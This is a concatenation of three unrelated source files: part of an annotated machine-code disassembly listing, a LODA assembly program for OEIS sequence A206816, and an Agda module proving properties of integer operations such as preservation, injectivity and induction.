0x0169 (0x0002D2) 0x2123- f:00020 d: 291 | A = OR[291]
0x016A (0x0002D4) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x016B (0x0002D6) 0x2917- f:00024 d: 279 | OR[279] = A
0x016C (0x0002D8) 0x2117- f:00020 d: 279 | A = OR[279]
0x016D (0x0002DA) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x016E (0x0002DC) 0x2917- f:00024 d: 279 | OR[279] = A
0x016F (0x0002DE) 0x2126- f:00020 d: 294 | A = OR[294]
0x0170 (0x0002E0) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x0171 (0x0002E2) 0x2908- f:00024 d: 264 | OR[264] = A
0x0172 (0x0002E4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0173 (0x0002E6) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0174 (0x0002E8) 0x2517- f:00022 d: 279 | A = A + OR[279]
0x0175 (0x0002EA) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0176 (0x0002EC) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0177 (0x0002EE) 0x2123- f:00020 d: 291 | A = OR[291]
0x0178 (0x0002F0) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0179 (0x0002F2) 0x2917- f:00024 d: 279 | OR[279] = A
0x017A (0x0002F4) 0x2117- f:00020 d: 279 | A = OR[279]
0x017B (0x0002F6) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x017C (0x0002F8) 0x2917- f:00024 d: 279 | OR[279] = A
0x017D (0x0002FA) 0x2126- f:00020 d: 294 | A = OR[294]
0x017E (0x0002FC) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x017F (0x0002FE) 0x2908- f:00024 d: 264 | OR[264] = A
0x0180 (0x000300) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0181 (0x000302) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0183 (0x000306) 0x2517- f:00022 d: 279 | A = A + OR[279]
0x0184 (0x000308) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0185 (0x00030A) 0x7012- f:00070 d: 18 | P = P + 18 (0x0197)
0x0186 (0x00030C) 0x2126- f:00020 d: 294 | A = OR[294]
0x0187 (0x00030E) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x0188 (0x000310) 0x2908- f:00024 d: 264 | OR[264] = A
0x0189 (0x000312) 0x3108- f:00030 d: 264 | A = (OR[264])
0x018A (0x000314) 0x0E01- f:00007 d: 1 | A = A << 1 (0x0001)
0x018B (0x000316) 0x0A08- f:00005 d: 8 | A = A < 8 (0x0008)
0x018C (0x000318) 0x1400- f:00012 d: 0 | A = A + 0 (0x0000)
0x018D (0x00031A) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x018E (0x00031C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x018F (0x00031E) 0x2126- f:00020 d: 294 | A = OR[294]
0x0190 (0x000320) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0191 (0x000322) 0x2908- f:00024 d: 264 | OR[264] = A
0x0192 (0x000324) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0193 (0x000326) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x0195 (0x00032A) 0x1405- f:00012 d: 5 | A = A + 5 (0x0005)
0x0196 (0x00032C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0197 (0x00032E) 0x2117- f:00020 d: 279 | A = OR[279]
0x0198 (0x000330) 0x2524- f:00022 d: 292 | A = A + OR[292]
0x0199 (0x000332) 0x2917- f:00024 d: 279 | OR[279] = A
0x019A (0x000334) 0x8002- f:00100 d: 2 | P = P + 2 (0x019C), C = 0
0x019B (0x000336) 0x2D16- f:00026 d: 278 | OR[278] = OR[278] + 1
0x019C (0x000338) 0x2126- f:00020 d: 294 | A = OR[294]
0x019D (0x00033A) 0x3914- f:00034 d: 276 | (OR[276]) = A
0x019E (0x00033C) 0x2126- f:00020 d: 294 | A = OR[294]
0x019F (0x00033E) 0x2914- f:00024 d: 276 | OR[276] = A
0x01A0 (0x000340) 0x2D15- f:00026 d: 277 | OR[277] = OR[277] + 1
0x01A1 (0x000342) 0x72B0- f:00071 d: 176 | P = P - 176 (0x00F1)
0x01A2 (0x000344) 0x311A- f:00030 d: 282 | A = (OR[282])
0x01A3 (0x000346) 0x2913- f:00024 d: 275 | OR[275] = A
0x01A4 (0x000348) 0x0400- f:00002 d: 0 | I = 0
0x01A5 (0x00034A) 0x0000- f:00000 d: 0 | PASS
0x01A6 (0x00034C) 0x2113- f:00020 d: 275 | A = OR[275]
0x01A7 (0x00034E) 0x8408- f:00102 d: 8 | P = P + 8 (0x01AF), A = 0
0x01A8 (0x000350) 0x2113- f:00020 d: 275 | A = OR[275]
0x01A9 (0x000352) 0x289C- f:00024 d: 156 | OR[156] = A
0x01AA (0x000354) 0x3113- f:00030 d: 275 | A = (OR[275])
0x01AB (0x000356) 0x2913- f:00024 d: 275 | OR[275] = A
0x01AC (0x000358) 0x7E00-0x30D7 f:00077 d: 0 | R = OR[0]+12503 (0x30D7)
0x01AE (0x00035C) 0x7208- f:00071 d: 8 | P = P - 8 (0x01A6)
0x01AF (0x00035E) 0x0600- f:00003 d: 0 | I = 1
0x01B0 (0x000360) 0x2120- f:00020 d: 288 | A = OR[288]
0x01B1 (0x000362) 0x8602- f:00103 d: 2 | P = P + 2 (0x01B3), A # 0
0x01B2 (0x000364) 0x7006- f:00070 d: 6 | P = P + 6 (0x01B8)
0x01B3 (0x000366) 0x2122- f:00020 d: 290 | A = OR[290]
0x01B4 (0x000368) 0x8402- f:00102 d: 2 | P = P + 2 (0x01B6), A = 0
0x01B5 (0x00036A) 0x7003- f:00070 d: 3 | P = P + 3 (0x01B8)
0x01B6 (0x00036C) 0x7421- f:00072 d: 33 | R = P + 33 (0x01D7)
0x01B7 (0x00036E) 0x7007- f:00070 d: 7 | P = P + 7 (0x01BE)
0x01B8 (0x000370) 0x211A- f:00020 d: 282 | A = OR[282]
0x01B9 (0x000372) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x01BA (0x000374) 0x2908- f:00024 d: 264 | OR[264] = A
0x01BB (0x000376) 0x100C- f:00010 d: 12 | A = 12 (0x000C)
0x01BC (0x000378) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01BD (0x00037A) 0x741F- f:00072 d: 31 | R = P + 31 (0x01DC)
0x01BE (0x00037C) 0x742A- f:00072 d: 42 | R = P + 42 (0x01E8)
0x01BF (0x00037E) 0x73BD- f:00071 d: 445 | P = P - 445 (0x0002)
0x01C0 (0x000380) 0x7017- f:00070 d: 23 | P = P + 23 (0x01D7)
0x01C1 (0x000382) 0x211C- f:00020 d: 284 | A = OR[284]
0x01C2 (0x000384) 0x1602- f:00013 d: 2 | A = A - 2 (0x0002)
0x01C3 (0x000386) 0x8402- f:00102 d: 2 | P = P + 2 (0x01C5), A = 0
0x01C4 (0x000388) 0x7013- f:00070 d: 19 | P = P + 19 (0x01D7)
0x01C5 (0x00038A) 0x0400- f:00002 d: 0 | I = 0
0x01C6 (0x00038C) 0x0000- f:00000 d: 0 | PASS
0x01C7 (0x00038E) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x01C8 (0x000390) 0x2810- f:00024 d: 16 | OR[16] = A
0x01C9 (0x000392) 0x211A- f:00020 d: 282 | A = OR[282]
0x01CA (0x000394) 0x1402- f:00012 d: 2 | A = A + 2 (0x0002)
0x01CB (0x000396) 0x2908- f:00024 d: 264 | OR[264] = A
0x01CC (0x000398) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01CD (0x00039A) 0x2811- f:00024 d: 17 | OR[17] = A
0x01CE (0x00039C) 0x211A- f:00020 d: 282 | A = OR[282]
0x01CF (0x00039E) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x01D0 (0x0003A0) 0x2908- f:00024 d: 264 | OR[264] = A
0x01D1 (0x0003A2) 0x3108- f:00030 d: 264 | A = (OR[264])
0x01D2 (0x0003A4) 0x2812- f:00024 d: 18 | OR[18] = A
0x01D3 (0x0003A6) 0x7E00-0x171A f:00077 d: 0 | R = OR[0]+5914 (0x171A)
0x01D5 (0x0003AA) 0x7413- f:00072 d: 19 | R = P + 19 (0x01E8)
0x01D6 (0x0003AC) 0x73D4- f:00071 d: 468 | P = P - 468 (0x0002)
0x01D7 (0x0003AE) 0x211A- f:00020 d: 282 | A = OR[282]
0x01D8 (0x0003B0) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x01D9 (0x0003B2) 0x2908- f:00024 d: 264 | OR[264] = A
0x01DA (0x0003B4) 0x1002- f:00010 d: 2 | A = 2 (0x0002)
0x01DB (0x0003B6) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x01DC (0x0003B8) 0x0400- f:00002 d: 0 | I = 0
0x01DD (0x0003BA) 0x0000- f:00000 d: 0 | PASS
0x01DE (0x0003BC) 0x211A- f:00020 d: 282 | A = OR[282]
0x01DF (0x0003BE) 0x2896- f:00024 d: 150 | OR[150] = A
0x01E0 (0x0003C0) 0x7E00-0x19C5 f:00077 d: 0 | R = OR[0]+6597 (0x19C5)
0x01E2 (0x0003C4) 0x1003- f:00010 d: 3 | A = 3 (0x0003)
0x01E3 (0x0003C6) 0x281E- f:00024 d: 30 | OR[30] = A
0x01E4 (0x0003C8) 0x7E00-0x0685 f:00077 d: 0 | R = OR[0]+1669 (0x0685)
0x01E6 (0x0003CC) 0x0600- f:00003 d: 0 | I = 1
0x01E7 (0x0003CE) 0x0200- f:00001 d: 0 | EXIT
0x01E8 (0x0003D0) 0x0400- f:00002 d: 0 | I = 0
0x01E9 (0x0003D2) 0x0000- f:00000 d: 0 | PASS
0x01EA (0x0003D4) 0x211A- f:00020 d: 282 | A = OR[282]
0x01EB (0x0003D6) 0x289C- f:00024 d: 156 | OR[156] = A
0x01EC (0x0003D8) 0x7E00-0x2017 f:00077 d: 0 | R = OR[0]+8215 (0x2017)
0x01EE (0x0003DC) 0x0600- f:00003 d: 0 | I = 1
0x01EF (0x0003DE) 0x0200- f:00001 d: 0 | EXIT
0x01F0 (0x0003E0) 0x0000- f:00000 d: 0 | PASS
0x01F1 (0x0003E2) 0x0000- f:00000 d: 0 | PASS
0x01F2 (0x0003E4) 0x0000- f:00000 d: 0 | PASS
0x01F3 (0x0003E6) 0x0000- f:00000 d: 0 | PASS
|
programs/oeis/206/A206816.asm | neoneye/loda | 22 | 165786 | <reponame>neoneye/loda
; A206816: Sum_{0<j<n} (n!-j!).
; 1,9,63,447,3447,29367,276327,2856807,32250087,395130087,5225062887,74201293287,1126567808487,18213512883687,312440245683687,5668674457011687,108462341176755687,2182831421832627687,46096712669420979687,1019257515940076979687,23550363013663940019687,567566715258026057139687,14243283570128178699699687,371621562968474095771059687,10066127840050340335771059687,282691155561635749990555059687,8220676984916614475190427059687,247253139160500281108369563059687,7683174975895589624879550619059687,246410748806867542397557182619059687
add $0,2
mov $1,$0
lpb $1
mul $0,$1
sub $0,$1
sub $1,1
lpe
|
Numeral/Integer/Proofs.agda | Lolirofle/stuff-in-agda | 6 | 9057 | module Numeral.Integer.Proofs where
import Data.Either as Either
open import Data.Tuple as Tuple using (_,_)
open import Logic
import Lvl
open import Functional
open import Numeral.Integer
open import Numeral.Integer.Oper
open import Numeral.Integer.Sign
open import Numeral.Natural.Induction
open import Numeral.Natural as ℕ using (ℕ)
import Numeral.Natural.Oper as ℕ
import Numeral.Natural.Oper.Proofs as ℕ
import Numeral.Natural.Relation.Order as ℕ
import Numeral.Sign as Sign
import Numeral.Sign.Oper0 as Sign
import Numeral.Sign.Proofs as Sign
open import Lang.Inspect
open import Logic.IntroInstances
open import Logic.Propositional
open import Logic.Predicate
open import Relator.Equals
open import Relator.Equals.Proofs
open import Structure.Function
open import Structure.Function.Domain
open import Structure.Function.Domain.Proofs
open import Structure.Function.Multi
import Structure.Function.Names as Names
open import Structure.Operator
open import Structure.Operator.Group
open import Structure.Operator.Monoid
import Structure.Operator.Names as Names
open import Structure.Operator.Properties
open import Structure.Operator.Proofs
open import Structure.Operator.Ring
open import Structure.OrderedField
open import Structure.Relator.Properties
open import Syntax.Number
open import Syntax.Transitivity
open import Type
private variable ℓ : Lvl.Level
-- TODO: Prove the usual structures for ℤ
instance
[+ₙ][𝐒]-preserving : Preserving₁(+ₙ_) ℕ.𝐒 𝐒
[+ₙ][𝐒]-preserving = intro [≡]-intro
instance
[+ₙ][+]-preserving : Preserving₂(+ₙ_) (ℕ._+_) (_+_)
[+ₙ][+]-preserving = intro [≡]-intro
instance
[+ₙ][⋅]-preserving : Preserving₂(+ₙ_) (ℕ._⋅_) (_⋅_)
Preserving.proof [+ₙ][⋅]-preserving {ℕ.𝟎} {ℕ.𝟎} = [≡]-intro
Preserving.proof [+ₙ][⋅]-preserving {ℕ.𝟎} {ℕ.𝐒 y} = [≡]-intro
Preserving.proof [+ₙ][⋅]-preserving {ℕ.𝐒 x} {ℕ.𝟎} = [≡]-intro
Preserving.proof [+ₙ][⋅]-preserving {ℕ.𝐒 x} {ℕ.𝐒 y} = [≡]-intro
-- [−₀]-preserving : Preserving₂(+ₙ_) (_−₀ₙ_) (_−₀_)
-- [/₀]-preserving : Preserving₂(+ₙ_) (_/₀ₙ_) (_/₀_)
instance
[−ₙ][𝐒][𝐏]-preserving : Preserving₁(−ₙ_) ℕ.𝐒 𝐏
Preserving.proof [−ₙ][𝐒][𝐏]-preserving {ℕ.𝟎} = [≡]-intro
Preserving.proof [−ₙ][𝐒][𝐏]-preserving {ℕ.𝐒 x} = [≡]-intro
instance
[−ₙ][+]-preserving : Preserving₂(−ₙ_) (ℕ._+_) (_+_)
Preserving.proof [−ₙ][+]-preserving {ℕ.𝟎} {ℕ.𝟎} = [≡]-intro
Preserving.proof [−ₙ][+]-preserving {ℕ.𝟎} {ℕ.𝐒(_)} = [≡]-intro
Preserving.proof [−ₙ][+]-preserving {ℕ.𝐒(_)} {ℕ.𝟎} = [≡]-intro
Preserving.proof [−ₙ][+]-preserving {ℕ.𝐒(_)} {ℕ.𝐒(_)} = [≡]-intro
instance
[−][𝐒][𝐏]-preserving : Preserving₁(−_) 𝐒 𝐏
Preserving.proof [−][𝐒][𝐏]-preserving {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [−][𝐒][𝐏]-preserving {+ₙ ℕ.𝐒 x} = [≡]-intro
Preserving.proof [−][𝐒][𝐏]-preserving {−𝐒ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [−][𝐒][𝐏]-preserving {−𝐒ₙ ℕ.𝐒 x} = [≡]-intro
instance
[−𝐒ₙ][𝐒][𝐏]-preserving : Preserving₁(−𝐒ₙ_) ℕ.𝐒 𝐏
Preserving.proof [−𝐒ₙ][𝐒][𝐏]-preserving = [≡]-intro
instance
[+𝐒ₙ][𝐒]-preserving : Preserving₁(+𝐒ₙ_) ℕ.𝐒 𝐒
Preserving.proof [+𝐒ₙ][𝐒]-preserving = [≡]-intro
instance
[−][+]-preserving : Preserving₂(−_) (_+_)(_+_)
Preserving.proof [−][+]-preserving {x}{y} = p{x}{y} where
[−ₙ]-distribute-[−] : ∀{x y} → (−(x −ₙ y) ≡ y −ₙ x)
[−ₙ]-distribute-[−] {ℕ.𝟎} {ℕ.𝟎} = [≡]-intro
[−ₙ]-distribute-[−] {ℕ.𝟎} {ℕ.𝐒 x} = [≡]-intro
[−ₙ]-distribute-[−] {ℕ.𝐒 x} {ℕ.𝟎} = [≡]-intro
[−ₙ]-distribute-[−] {ℕ.𝐒 x} {ℕ.𝐒 y} = [−ₙ]-distribute-[−] {x} {y}
p : Names.Preserving₂(−_) (_+_)(_+_)
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
p {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {−𝐒ₙ y} = [−ₙ]-distribute-[−] {x}{y}
p {−𝐒ₙ x} {+ₙ ℕ.𝐒 y} = [−ₙ]-distribute-[−] {y}{x}
p {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
p {−𝐒ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
p {−𝐒ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
p {−𝐒ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
p {−𝐒ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
p {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
instance
[absₙ][⋅]-preserving : Preserving₂(absₙ)(_⋅_)(ℕ._⋅_)
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {−𝐒ₙ x} {−𝐒ₙ y} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [absₙ][⋅]-preserving {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
instance
[sign0][⋅]-preserving : Preserving₂(sign0)(_⋅_)(Sign._⨯_)
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {−𝐒ₙ x} {−𝐒ₙ y} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
Preserving.proof [sign0][⋅]-preserving {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
[ℤ]-non-negative-induction : ∀{P : ℤ → Type{ℓ}} → P(𝟎) → (∀(n) → P(+ₙ(n)) → P(+𝐒ₙ(n))) → (∀{n} → P(+ₙ n))
[ℤ]-non-negative-induction {P = P} = [ℕ]-induction {φ = P ∘ +ₙ_}
[ℤ]-positive-induction : ∀{P : ℤ → Type{ℓ}} → P(+𝐒ₙ(ℕ.𝟎)) → (∀(n) → P(+𝐒ₙ(n)) → P(+𝐒ₙ(ℕ.𝐒(n)))) → (∀{n} → P(+𝐒ₙ n))
[ℤ]-positive-induction {P = P} [1] [+] {ℕ.𝟎} = [1]
[ℤ]-positive-induction {P = P} [1] [+] {ℕ.𝐒 n} = [+] n ([ℤ]-positive-induction {P = P} [1] [+] {n})
[ℤ]-non-positive-induction : ∀{P : ℤ → Type{ℓ}} → P(𝟎) → (∀(n) → P(−ₙ(n)) → P(−𝐒ₙ(n))) → (∀{n} → P(−ₙ n))
[ℤ]-non-positive-induction {P = P} [0] [−] {ℕ.𝟎} = [0]
[ℤ]-non-positive-induction {P = P} [0] [−] {ℕ.𝐒 n} = [−] n ([ℤ]-non-positive-induction {P = P} [0] [−] {n})
[ℤ]-negative-induction : ∀{P : ℤ → Type{ℓ}} → P(−𝐒ₙ(ℕ.𝟎)) → (∀(n) → P(−𝐒ₙ(n)) → P(−𝐒ₙ(ℕ.𝐒(n)))) → (∀{n} → P(−𝐒ₙ n))
[ℤ]-negative-induction {P = P} = [ℕ]-induction {φ = P ∘ −𝐒ₙ_}
-- An intuitive induction proof method on integers
[ℤ]-intuitive-induction : ∀{P : ℤ → Type{ℓ}} → (∀{n} → P(−ₙ n) → P(−𝐒ₙ(n))) → P(𝟎) → (∀{n} → P(+ₙ n) → P(+𝐒ₙ(n))) → (∀{n} → P(n))
[ℤ]-intuitive-induction {P = P} [−] [0] [+] {𝟎} = [0]
[ℤ]-intuitive-induction {P = P} [−] [0] [+] {+𝐒ₙ(n)} = [+] ([ℤ]-intuitive-induction {P = P} [−] [0] [+] {+ₙ n})
[ℤ]-intuitive-induction {P = P} [−] [0] [+] {−𝐒ₙ(ℕ.𝟎)} = [−] ([0])
[ℤ]-intuitive-induction {P = P} [−] [0] [+] {−𝐒ₙ(ℕ.𝐒(n))} = [−] ([ℤ]-intuitive-induction {P = P} [−] [0] [+] {−𝐒ₙ(n)})
[−𝐒ₙ]-equality : ∀{n} → (−𝐒ₙ(n) ≡ −ₙ(ℕ.𝐒(n)))
[−𝐒ₙ]-equality = [≡]-intro
[+𝐒ₙ]-equality : ∀{n} → (+𝐒ₙ(n) ≡ +ₙ(ℕ.𝐒(n)))
[+𝐒ₙ]-equality = [≡]-intro
-- (−n)−1 = −(n+1)
[𝐏]-negative : ∀{n} → (𝐏(−ₙ n) ≡ −𝐒ₙ(n))
[𝐏]-negative {ℕ.𝟎} = [≡]-intro
[𝐏]-negative {ℕ.𝐒(n)} = [≡]-intro
-- (−(n+1))+1 = −n
[𝐒][−𝐒ₙ]-negative-identity : ∀{n} → (𝐒(−𝐒ₙ(n)) ≡ −ₙ n)
[𝐒][−𝐒ₙ]-negative-identity {ℕ.𝟎} = [≡]-intro
[𝐒][−𝐒ₙ]-negative-identity {ℕ.𝐒(n)} = [≡]-intro
instance
[𝐒][𝐏]-inverse : Inverse(𝐒)(𝐏)
Inverseᵣ.proof (Tuple.left [𝐒][𝐏]-inverse) {+ₙ ℕ.𝟎} = [≡]-intro
Inverseᵣ.proof (Tuple.left [𝐒][𝐏]-inverse) {+ₙ ℕ.𝐒 x} = [≡]-intro
Inverseᵣ.proof (Tuple.left [𝐒][𝐏]-inverse) {−𝐒ₙ ℕ.𝟎} = [≡]-intro
Inverseᵣ.proof (Tuple.left [𝐒][𝐏]-inverse) {−𝐒ₙ ℕ.𝐒 x} = [≡]-intro
Inverseᵣ.proof (Tuple.right [𝐒][𝐏]-inverse) {+ₙ ℕ.𝟎} = [≡]-intro
Inverseᵣ.proof (Tuple.right [𝐒][𝐏]-inverse) {+ₙ ℕ.𝐒 x} = [≡]-intro
Inverseᵣ.proof (Tuple.right [𝐒][𝐏]-inverse) {−𝐒ₙ ℕ.𝟎} = [≡]-intro
Inverseᵣ.proof (Tuple.right [𝐒][𝐏]-inverse) {−𝐒ₙ ℕ.𝐒 x} = [≡]-intro
[−ₙ]-identityᵣ : ∀{x} → (x −ₙ ℕ.𝟎 ≡ +ₙ x)
[−ₙ]-identityᵣ = [≡]-intro
[−ₙ]-antiidentityₗ : ∀{x} → (ℕ.𝟎 −ₙ x ≡ −ₙ x)
[−ₙ]-antiidentityₗ {ℕ.𝟎} = [≡]-intro
[−ₙ]-antiidentityₗ {ℕ.𝐒(_)} = [≡]-intro
[−ₙ][𝐒]-step : ∀{x y} → (ℕ.𝐒(x) −ₙ y ≡ 𝐒(x −ₙ y))
[−ₙ][𝐒]-step {ℕ.𝟎} {ℕ.𝟎} = [≡]-intro
[−ₙ][𝐒]-step {ℕ.𝟎} {ℕ.𝐒(y)} = [−ₙ]-antiidentityₗ {y} 🝖 symmetry(_≡_) ([𝐒][−𝐒ₙ]-negative-identity{y})
[−ₙ][𝐒]-step {ℕ.𝐒(_)}{ℕ.𝟎} = [≡]-intro
[−ₙ][𝐒]-step {ℕ.𝐒(x)}{ℕ.𝐒(y)} = [−ₙ][𝐒]-step {x}{y}
[−][−ₙ] : ∀{x} → (−(+ₙ x) ≡ −ₙ x)
[−][−ₙ] {ℕ.𝟎} = [≡]-intro
[−][−ₙ] {ℕ.𝐒(_)} = [≡]-intro
instance
[+ₙ]-injectivity : Injective(+ₙ_)
Injective.proof [+ₙ]-injectivity [≡]-intro = [≡]-intro
instance
[−𝐒ₙ]-injectivity : Injective(−𝐒ₙ_)
Injective.proof [−𝐒ₙ]-injectivity [≡]-intro = [≡]-intro
instance
[−ₙ]-injectivity : Injective(−ₙ_)
Injective.proof [−ₙ]-injectivity {ℕ.𝟎} {ℕ.𝟎} xy = [≡]-intro
Injective.proof [−ₙ]-injectivity {ℕ.𝐒 x} {ℕ.𝐒 .x} [≡]-intro = [≡]-intro
instance
[+𝐒ₙ]-injectivity : Injective(+𝐒ₙ_)
Injective.proof [+𝐒ₙ]-injectivity [≡]-intro = [≡]-intro
[−ₙ]-self : ∀{x} → (x −ₙ x ≡ 𝟎)
[−ₙ]-self {ℕ.𝟎} = [≡]-intro
[−ₙ]-self {ℕ.𝐒(x)} = [−ₙ]-self {x}
instance
[+]-commutativity : Commutativity(_+_)
[+]-commutativity = intro(\{x y} → p{x}{y}) where
p : Names.Commutativity(_+_)
p {+ₙ x} {+ₙ y} = congruence₁(+ₙ_) (commutativity(ℕ._+_) {x}{y})
p {+ₙ _} {−𝐒ₙ _} = [≡]-intro
p {−𝐒ₙ _} {+ₙ _} = [≡]-intro
p {−𝐒ₙ x} {−𝐒ₙ y} = congruence₁(−𝐒ₙ_ ∘ ℕ.𝐒) (commutativity(ℕ._+_) {x}{y})
instance
[+]-identityₗ : Identityₗ(_+_)(𝟎)
Identityₗ.proof [+]-identityₗ {+ₙ _} = [≡]-intro
Identityₗ.proof [+]-identityₗ {−𝐒ₙ _} = [≡]-intro
instance
[+]-identityᵣ : Identityᵣ(_+_)(𝟎)
Identityᵣ.proof [+]-identityᵣ {+ₙ _} = [≡]-intro
Identityᵣ.proof [+]-identityᵣ {−𝐒ₙ _} = [≡]-intro
instance
[+]-identity : Identity(_+_)(𝟎)
[+]-identity = intro
instance
[+]-inverseFunctionₗ : InverseFunctionₗ(_+_)(−_)
InverseFunctionₗ.proof [+]-inverseFunctionₗ {+ₙ ℕ.𝟎} = [≡]-intro
InverseFunctionₗ.proof [+]-inverseFunctionₗ {+ₙ ℕ.𝐒(x)} = [−ₙ]-self {x}
InverseFunctionₗ.proof [+]-inverseFunctionₗ {−𝐒ₙ(x)} = [−ₙ]-self {x}
instance
[+]-inverseFunctionᵣ : InverseFunctionᵣ(_+_)(−_)
InverseFunctionᵣ.proof [+]-inverseFunctionᵣ {+ₙ ℕ.𝟎} = [≡]-intro
InverseFunctionᵣ.proof [+]-inverseFunctionᵣ {+ₙ ℕ.𝐒(x)} = [−ₙ]-self {x}
InverseFunctionᵣ.proof [+]-inverseFunctionᵣ {−𝐒ₙ(x)} = [−ₙ]-self {x}
instance
[+]-inverseFunction : InverseFunction(_+_)(−_)
[+]-inverseFunction = intro
instance
[−]-involution : Involution(−_)
Involution.proof [−]-involution {+ₙ ℕ.𝟎} = [≡]-intro
Involution.proof [−]-involution {+ₙ ℕ.𝐒(x)} = [≡]-intro
Involution.proof [−]-involution {−𝐒ₙ x} = [≡]-intro
instance
[−]-injectivity : Injective(−_)
Injective.proof [−]-injectivity {a}{b} p =
a 🝖[ _≡_ ]-[ involution(−_) ]-sym
−(− a) 🝖[ _≡_ ]-[ congruence₁(−_) p ]
−(− b) 🝖[ _≡_ ]-[ involution(−_) ]
b 🝖-end
instance
[−]-surjectivity : Surjective(−_)
